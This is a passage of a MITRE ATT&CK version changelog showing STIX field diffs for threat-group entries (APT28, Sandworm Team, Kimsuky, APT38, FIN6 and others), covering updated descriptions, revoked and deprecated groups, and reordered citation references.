| external_references[7]['description'] | Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018. | Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020. |
| external_references[7]['url'] | http://fortune.com/2017/09/06/hack-energy-grid-symantec/ | https://www.secureworks.com/research/mcmd-malware-analysis |
| external_references[8]['source_name'] | Dragos DYMALLOY | Secureworks IRON LIBERTY |
| external_references[8]['description'] | Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020. | Secureworks. (n.d.). IRON LIBERTY. Retrieved October 15, 2020. |
| external_references[8]['url'] | https://www.dragos.com/threat/dymalloy/ | https://www.secureworks.com/research/threat-profiles/iron-liberty |
| external_references[9]['source_name'] | Secureworks MCMD July 2019 | Symantec Dragonfly Sept 2017 |
| external_references[9]['description'] | Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020. | Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017. |
| external_references[9]['url'] | https://www.secureworks.com/research/mcmd-malware-analysis | https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group |
| external_references[10]['source_name'] | Secureworks IRON LIBERTY | US-CERT TA18-074A |
| external_references[10]['description'] | Secureworks. (n.d.). IRON LIBERTY. Retrieved October 15, 2020. | US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018. |
| external_references[10]['url'] | https://www.secureworks.com/research/threat-profiles/iron-liberty | https://www.us-cert.gov/ncas/alerts/TA18-074A |
| x_mitre_version | 1.3 | 2.1 |
Current version: 1.1
Description: [Stolen Pencil](https://attack.mitre.org/groups/G0086) is a threat group likely originating from DPRK that has been active since at least May 2018. The group appears to have targeted academic institutions, but its motives remain unclear.(Citation: Netscout Stolen Pencil Dec 2018)
This object has been revoked by [G0094] Kimsuky
Description for [G0094] Kimsuky: [Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the United States, Russia, Europe, and the UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky) [Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 00:18:21.594000+00:00 | 2021-10-07 12:21:31.309000+00:00 |
| revoked | False | True |
Current version: 1.0
Description: [Taidoor](https://attack.mitre.org/groups/G0015) has been deprecated, as the only technique it was linked to was deprecated in ATT&CK v7.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2021-10-15 00:34:25.521000+00:00 |
| description | [Taidoor](https://attack.mitre.org/groups/G0015) is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government. (Citation: TrendMicro Taidoor) | [Taidoor](https://attack.mitre.org/groups/G0015) has been deprecated, as the only technique it was linked to was deprecated in ATT&CK v7. |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Taidoor', 'description': '(Citation: TrendMicro Taidoor)'} | |
| external_references | {'source_name': 'TrendMicro Taidoor', 'description': 'Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.', 'url': 'http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf'} |
Current version: 1.0
Description: [Charming Kitten](https://attack.mitre.org/groups/G0058) is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. [[Charming Kitten](https://attack.mitre.org/groups/G0058) often tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, [Magic Hound](https://attack.mitre.org/groups/G0059), resulting in reporting that may not distinguish between the two groups' activities.(Citation: ClearSky Charming Kitten Dec 2017)
Current version: 2.1
Description: [Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) This group has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020) In October 2020, the US indicted six GRU Unit 74455 officers associated with [Sandworm Team](https://attack.mitre.org/groups/G0034) for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide [NotPetya](https://attack.mitre.org/software/S0368) attack, targeting of the 2017 French presidential campaign, the 2018 [Olympic Destroyer](https://attack.mitre.org/software/S0365) attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as [APT28](https://attack.mitre.org/groups/G0007).(Citation: US District Court Indictment GRU Oct 2018)
Current version: 1.1
Description: [Windshift](https://attack.mitre.org/groups/G0112) is a threat group that has been active since at least 2017, targeting specific individuals for surveillance in government departments and critical infrastructure across the Middle East.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-03 20:22:40.401000+00:00 | 2021-10-11 19:08:18.503000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 3.2
Version changed from: 3.0 → 3.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT28](https://attack.mitre.org/groups/G0007) is a threat g | t | 1 | [APT28](https://attack.mitre.org/groups/G0007) is a threat g |
| > | roup that has been attributed to Russia's General Staff Main | > | roup that has been attributed to Russia's General Staff Main | ||
| > | Intelligence Directorate (GRU) 85th Main Special Service Ce | > | Intelligence Directorate (GRU) 85th Main Special Service Ce | ||
| > | nter (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub | > | nter (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub | ||
| > | August 2020) This group has been active since at least 2004 | > | August 2020)(Citation: Cybersecurity Advisory GRU Brute For | ||
| > | .(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Tech | > | ce Campaign July 2021) This group has been active since at l | ||
| > | nica GRU indictment Jul 2018) (Citation: Crowdstrike DNC Jun | > | east 2004.(Citation: DOJ GRU Indictment Jul 2018)(Citation: | ||
| > | e 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG- | > | Ars Technica GRU indictment Jul 2018)(Citation: Crowdstrike | ||
| > | 4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZ | > | DNC June 2016)(Citation: FireEye APT28)(Citation: SecureWork | ||
| > | ZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: | > | s TG-4127)(Citation: FireEye APT28 January 2017)(Citation: G | ||
| > | Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018 | > | RIZZLY STEPPE JAR)(Citation: Sofacy DealersChoice)(Citation: | ||
| > | ) (Citation: ESET Zebrocy May 2019) [APT28](https://attack. | > | Palo Alto Sofacy 06-2018)(Citation: Symantec APT28 Oct 2018 | ||
| > | mitre.org/groups/G0007) reportedly compromised the Hillary C | > | )(Citation: ESET Zebrocy May 2019) [APT28](https://attack.m | ||
| > | linton campaign, the Democratic National Committee, and the | > | itre.org/groups/G0007) reportedly compromised the Hillary Cl | ||
| > | Democratic Congressional Campaign Committee in 2016 in an at | > | inton campaign, the Democratic National Committee, and the D | ||
| > | tempt to interfere with the U.S. presidential election. (Cit | > | emocratic Congressional Campaign Committee in 2016 in an att | ||
| > | ation: Crowdstrike DNC June 2016) In 2018, the US indicted f | > | empt to interfere with the U.S. presidential election. (Cita | ||
| > | ive GRU Unit 26165 officers associated with [APT28](https:// | > | tion: Crowdstrike DNC June 2016) In 2018, the US indicted fi | ||
| > | attack.mitre.org/groups/G0007) for cyber operations (includi | > | ve GRU Unit 26165 officers associated with [APT28](https://a | ||
| > | ng close-access operations) conducted between 2014 and 2018 | > | ttack.mitre.org/groups/G0007) for cyber operations (includin | ||
| > | against the World Anti-Doping Agency (WADA), the US Anti-Dop | > | g close-access operations) conducted between 2014 and 2018 a | ||
| > | ing Agency, a US nuclear facility, the Organization for the | > | gainst the World Anti-Doping Agency (WADA), the US Anti-Dopi | ||
| > | Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chem | > | ng Agency, a US nuclear facility, the Organization for the P | ||
| > | icals Laboratory, and other organizations.(Citation: US Dist | > | rohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemi | ||
| > | rict Court Indictment GRU Oct 2018) Some of these were condu | > | cals Laboratory, and other organizations.(Citation: US Distr | ||
| > | cted with the assistance of GRU Unit 74455, which is also re | > | ict Court Indictment GRU Oct 2018) Some of these were conduc | ||
| > | ferred to as [Sandworm Team](https://attack.mitre.org/groups | > | ted with the assistance of GRU Unit 74455, which is also ref | ||
| > | /G0034). | > | erred to as [Sandworm Team](https://attack.mitre.org/groups/ | ||
| > | G0034). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-06 23:32:21.793000+00:00 | 2021-10-18 20:34:03.233000+00:00 |
| description | [APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub August 2020) This group has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Technica GRU indictment Jul 2018) (Citation: Crowdstrike DNC June 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018) (Citation: ESET Zebrocy May 2019) [APT28](https://attack.mitre.org/groups/G0007) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. (Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://attack.mitre.org/groups/G0007) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://attack.mitre.org/groups/G0034). | [APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub August 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) This group has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Crowdstrike DNC June 2016)(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: FireEye APT28 January 2017)(Citation: GRIZZLY STEPPE JAR)(Citation: Sofacy DealersChoice)(Citation: Palo Alto Sofacy 06-2018)(Citation: Symantec APT28 Oct 2018)(Citation: ESET Zebrocy May 2019) [APT28](https://attack.mitre.org/groups/G0007) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. (Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://attack.mitre.org/groups/G0007) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://attack.mitre.org/groups/G0034). |
| external_references[1]['description'] | (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018) | (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) |
| external_references[5]['description'] | This designation has been used in reporting both to refer to the threat group and its associated malware JHUHUGIT. (Citation: FireEye APT28 January 2017) (Citation: SecureWorks TG-4127) (Citation: Kaspersky Sofacy) (Citation: Ars Technica GRU indictment Jul 2018) | This designation has been used in reporting both to refer to the threat group and its associated malware JHUHUGIT.(Citation: FireEye APT28 January 2017)(Citation: SecureWorks TG-4127)(Citation: Kaspersky Sofacy)(Citation: Ars Technica GRU indictment Jul 2018) |
| external_references[6]['description'] | This designation has been used in reporting both to refer to the threat group and its associated malware. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017) | This designation has been used in reporting both to refer to the threat group and its associated malware.(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: Crowdstrike DNC June 2016)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017) |
| external_references[7]['description'] | (Citation: SecureWorks TG-4127) (Citation: ESET Sednit Part 3) | (Citation: SecureWorks TG-4127)(Citation: ESET Sednit Part 3)(Citation: TrendMicro Pawn Storm Dec 2020) |
| external_references[8]['description'] | (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018) | (Citation: Crowdstrike DNC June 2016)(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) |
| external_references[9]['description'] | (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Microsoft STRONTIUM Aug 2019) (Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020) | (Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Microsoft STRONTIUM Aug 2019)(Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: TrendMicro Pawn Storm Dec 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) |
| external_references[14]['source_name'] | DOJ GRU Indictment Jul 2018 | Cybersecurity Advisory GRU Brute Force Campaign July 2021 |
| external_references[14]['description'] | Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018. | NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021. |
| external_references[14]['url'] | https://www.justice.gov/file/1080281/download | https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF |
| external_references[15]['source_name'] | Ars Technica GRU indictment Jul 2018 | DOJ GRU Indictment Jul 2018 |
| external_references[15]['description'] | Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018. | Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018. |
| external_references[15]['url'] | https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/ | https://www.justice.gov/file/1080281/download |
| external_references[16]['source_name'] | Crowdstrike DNC June 2016 | Ars Technica GRU indictment Jul 2018 |
| external_references[16]['description'] | Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016. | Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018. |
| external_references[16]['url'] | https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ | https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/ |
| external_references[17]['source_name'] | FireEye APT28 | Crowdstrike DNC June 2016 |
| external_references[17]['description'] | FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015. | Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016. |
| external_references[17]['url'] | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf | https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ |
| external_references[18]['source_name'] | SecureWorks TG-4127 | FireEye APT28 |
| external_references[18]['description'] | SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016. | FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015. |
| external_references[18]['url'] | https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf |
| external_references[19]['source_name'] | FireEye APT28 January 2017 | SecureWorks TG-4127 |
| external_references[19]['description'] | FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017. | SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016. |
| external_references[19]['url'] | https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf | https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign |
| external_references[20]['source_name'] | GRIZZLY STEPPE JAR | FireEye APT28 January 2017 |
| external_references[20]['description'] | Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017. | FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017. |
| external_references[20]['url'] | https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf | https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf |
| external_references[21]['source_name'] | Sofacy DealersChoice | GRIZZLY STEPPE JAR |
| external_references[21]['description'] | Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018. | Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017. |
| external_references[21]['url'] | https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/ | https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf |
| external_references[22]['source_name'] | Palo Alto Sofacy 06-2018 | Sofacy DealersChoice |
| external_references[22]['description'] | Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018. | Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018. |
| external_references[22]['url'] | https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/ | https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/ |
| external_references[23]['source_name'] | Symantec APT28 Oct 2018 | Palo Alto Sofacy 06-2018 |
| external_references[23]['description'] | Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018. | Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018. |
| external_references[23]['url'] | https://www.symantec.com/blogs/election-security/apt28-espionage-military-government | https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/ |
| external_references[24]['source_name'] | ESET Zebrocy May 2019 | Symantec APT28 Oct 2018 |
| external_references[24]['description'] | ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019. | Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018. |
| external_references[24]['url'] | https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/ | https://www.symantec.com/blogs/election-security/apt28-espionage-military-government |
| external_references[25]['source_name'] | US District Court Indictment GRU Oct 2018 | ESET Zebrocy May 2019 |
| external_references[25]['description'] | Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. | ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019. |
| external_references[25]['url'] | https://www.justice.gov/opa/page/file/1098481/download | https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/ |
| external_references[26]['source_name'] | Kaspersky Sofacy | US District Court Indictment GRU Oct 2018 |
| external_references[26]['description'] | Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015. | Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. |
| external_references[26]['url'] | https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/ | https://www.justice.gov/opa/page/file/1098481/download |
| external_references[27]['source_name'] | ESET Sednit Part 3 | Kaspersky Sofacy |
| external_references[27]['description'] | ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016. | Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015. |
| external_references[27]['url'] | http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf | https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/ |
| external_references[28]['source_name'] | Talos Seduploader Oct 2017 | ESET Sednit Part 3 |
| external_references[28]['description'] | Mercer, W., et al. (2017, October 22). "Cyber Conflict" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018. | ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016. |
| external_references[28]['url'] | https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html | http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf |
| external_references[29]['source_name'] | Securelist Sofacy Feb 2018 | Talos Seduploader Oct 2017 |
| external_references[29]['description'] | Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018. | Mercer, W., et al. (2017, October 22). "Cyber Conflict" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018. |
| external_references[29]['url'] | https://securelist.com/a-slice-of-2017-sofacy-activity/83930/ | https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html |
| external_references[30]['source_name'] | Accenture SNAKEMACKEREL Nov 2018 | Securelist Sofacy Feb 2018 |
| external_references[30]['description'] | Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019. | Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018. |
| external_references[30]['url'] | https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50 | https://securelist.com/a-slice-of-2017-sofacy-activity/83930/ |
| external_references[31]['source_name'] | Microsoft STRONTIUM Aug 2019 | Accenture SNAKEMACKEREL Nov 2018 |
| external_references[31]['description'] | MSRC Team. (2019, August 5). Corporate IoT – a path to intrusion. Retrieved August 16, 2019. | Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019. |
| external_references[31]['url'] | https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/ | https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50 |
| external_references[32]['source_name'] | Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020 | TrendMicro Pawn Storm Dec 2020 |
| external_references[32]['description'] | Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020. | Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021. |
| external_references[32]['url'] | https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/ | https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html |
| x_mitre_version | 3.0 | 3.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft STRONTIUM Aug 2019', 'description': 'MSRC Team. (2019, August 5). Corporate IoT – a path to intrusion. Retrieved August 16, 2019.', 'url': 'https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/'} | |
| external_references | {'source_name': 'Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020', 'description': 'Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020.', 'url': 'https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/'} |
Current version: 1.0
Current version: 2.0
Description: [APT38](https://attack.mitre.org/groups/G0082) is a North Korean state-sponsored threat group that specializes in financial cyber operations; it has been attributed to the Reconnaissance General Bureau.(Citation: CISA AA20-239A BeagleBoyz August 2020) Active since at least 2014, [APT38](https://attack.mitre.org/groups/G0082) has targeted banks, financial institutions, casinos, cryptocurrency exchanges, SWIFT system endpoints, and ATMs in at least 38 countries worldwide. Significant operations include the 2016 Bank of Bangladesh heist, during which [APT38](https://attack.mitre.org/groups/G0082) stole $81 million, as well as attacks against Bancomext (2018) and Banco de Chile (2018); some of their attacks have been destructive.(Citation: CISA AA20-239A BeagleBoyz August 2020)(Citation: FireEye APT38 Oct 2018)(Citation: DOJ North Korea Indictment Feb 2021)(Citation: Kaspersky Lazarus Under The Hood Blog 2017) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.
Current version: 3.2
Description: [FIN6](https://attack.mitre.org/groups/G0037) is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)
Current version: 2.1
